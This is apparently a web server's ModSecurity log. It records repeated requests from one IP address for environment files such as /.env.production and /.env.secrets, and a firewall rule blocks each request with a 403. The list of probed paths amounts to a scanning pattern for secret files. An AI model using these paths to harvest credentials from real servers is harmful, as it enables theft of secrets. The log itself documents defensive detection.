[Sat Nov 29 02:41:22.008433 2025] [:error] [pid 395860] [client 195.178.110.155:42224] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSpPQmGVbW32jAuRdZj-OwAAAAY&quot;]
[Sat Nov 29 02:41:39.224844 2025] [:error] [pid 395881] [client 195.178.110.155:52406] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSpPU7VL27gtiM4DUrnKqAAAAAM&quot;]
[Sat Nov 29 02:41:39.225086 2025] [:error] [pid 395881] [client 195.178.110.155:52406] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSpPU7VL27gtiM4DUrnKqAAAAAM&quot;]
[Sat Nov 29 02:41:39.225269 2025] [:error] [pid 395881] [client 195.178.110.155:52406] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSpPU7VL27gtiM4DUrnKqAAAAAM&quot;]
[Sat Nov 29 02:41:44.416499 2025] [:error] [pid 396956] [client 195.178.110.155:52410] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPWItKufSJfVuSdY3iyQAAAAo&quot;]
[Sat Nov 29 02:41:44.416754 2025] [:error] [pid 396956] [client 195.178.110.155:52410] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPWItKufSJfVuSdY3iyQAAAAo&quot;]
[Sat Nov 29 02:41:44.416948 2025] [:error] [pid 396956] [client 195.178.110.155:52410] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPWItKufSJfVuSdY3iyQAAAAo&quot;]
[Sat Nov 29 02:41:49.624434 2025] [:error] [pid 395859] [client 195.178.110.155:45300] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPXVoA1e4Hc_0ExRYahgAAAAU&quot;]
[Sat Nov 29 02:41:49.625966 2025] [:error] [pid 395859] [client 195.178.110.155:45300] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPXVoA1e4Hc_0ExRYahgAAAAU&quot;]
[Sat Nov 29 02:41:49.626159 2025] [:error] [pid 395859] [client 195.178.110.155:45300] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPXVoA1e4Hc_0ExRYahgAAAAU&quot;]
[Sat Nov 29 02:41:54.736853 2025] [:error] [pid 396954] [client 195.178.110.155:45324] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPYpN6k15eICFuqzfsFgAAAAQ&quot;]
[Sat Nov 29 02:41:54.738160 2025] [:error] [pid 396954] [client 195.178.110.155:45324] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPYpN6k15eICFuqzfsFgAAAAQ&quot;]
[Sat Nov 29 02:41:54.738396 2025] [:error] [pid 396954] [client 195.178.110.155:45324] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aSpPYpN6k15eICFuqzfsFgAAAAQ&quot;]
[Sat Nov 29 02:41:54.796310 2025] [:error] [pid 396954] [client 195.178.110.155:45324] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aSpPYpN6k15eICFuqzfsFwAAAAQ&quot;]
[Sat Nov 29 02:41:54.796541 2025] [:error] [pid 396954] [client 195.178.110.155:45324] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aSpPYpN6k15eICFuqzfsFwAAAAQ&quot;]
[Sat Nov 29 02:41:54.796727 2025] [:error] [pid 396954] [client 195.178.110.155:45324] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aSpPYpN6k15eICFuqzfsFwAAAAQ&quot;]
[Sat Nov 29 02:41:57.772861 2025] [:error] [pid 396955] [client 195.178.110.155:45336] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aSpPZeKnXhOcMLhGvoBlgAAAAAc&quot;]
[Sat Nov 29 02:41:57.773118 2025] [:error] [pid 396955] [client 195.178.110.155:45336] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aSpPZeKnXhOcMLhGvoBlgAAAAAc&quot;]
[Sat Nov 29 02:41:57.773308 2025] [:error] [pid 396955] [client 195.178.110.155:45336] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;aSpPZeKnXhOcMLhGvoBlgAAAAAc&quot;]
[Sat Nov 29 02:42:02.855524 2025] [:error] [pid 395885] [client 195.178.110.155:59264] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPail2_ayZcB2mSooNfAAAAAk&quot;]
[Sat Nov 29 02:42:02.855864 2025] [:error] [pid 395885] [client 195.178.110.155:59264] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPail2_ayZcB2mSooNfAAAAAk&quot;]
[Sat Nov 29 02:42:02.856097 2025] [:error] [pid 395885] [client 195.178.110.155:59264] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPail2_ayZcB2mSooNfAAAAAk&quot;]
[Sat Nov 29 02:42:09.266438 2025] [:error] [pid 395887] [client 195.178.110.155:50228] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPcTRmtvrSM4WZBRuJ9wAAAAs&quot;]
[Sat Nov 29 02:42:09.266700 2025] [:error] [pid 395887] [client 195.178.110.155:50228] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPcTRmtvrSM4WZBRuJ9wAAAAs&quot;]
[Sat Nov 29 02:42:09.266916 2025] [:error] [pid 395887] [client 195.178.110.155:50228] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPcTRmtvrSM4WZBRuJ9wAAAAs&quot;]
[Sat Nov 29 02:42:16.786690 2025] [:error] [pid 396956] [client 195.178.110.155:49836] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.secret&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPeItKufSJfVuSdY3iygAAAAo&quot;]
[Sat Nov 29 02:42:16.786925 2025] [:error] [pid 396956] [client 195.178.110.155:49836] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPeItKufSJfVuSdY3iygAAAAo&quot;]
[Sat Nov 29 02:42:16.787115 2025] [:error] [pid 396956] [client 195.178.110.155:49836] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secret&quot;] [unique_id &quot;aSpPeItKufSJfVuSdY3iygAAAAo&quot;]
[Sat Nov 29 02:42:23.579710 2025] [:error] [pid 395859] [client 195.178.110.155:49852] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.secrets&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secrets&quot;] [unique_id &quot;aSpPf1oA1e4Hc_0ExRYahwAAAAU&quot;]
[Sat Nov 29 02:42:23.579949 2025] [:error] [pid 395859] [client 195.178.110.155:49852] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secrets&quot;] [unique_id &quot;aSpPf1oA1e4Hc_0ExRYahwAAAAU&quot;]
[Sat Nov 29 02:42:23.580142 2025] [:error] [pid 395859] [client 195.178.110.155:49852] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secrets&quot;] [unique_id &quot;aSpPf1oA1e4Hc_0ExRYahwAAAAU&quot;]
[Sat Nov 29 02:42:31.085133 2025] [:error] [pid 396954] [client 195.178.110.155:53226] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.secrets&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secrets&quot;] [unique_id &quot;aSpPh5N6k15eICFuqzfsGAAAAAQ&quot;]
[Sat Nov 29 02:42:31.085393 2025] [:error] [pid 396954] [client 195.178.110.155:53226] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.secrets&quot;] [unique_id &quot;aSpPh5N6k15eICFuqzfsGAAAAAQ&quot;]
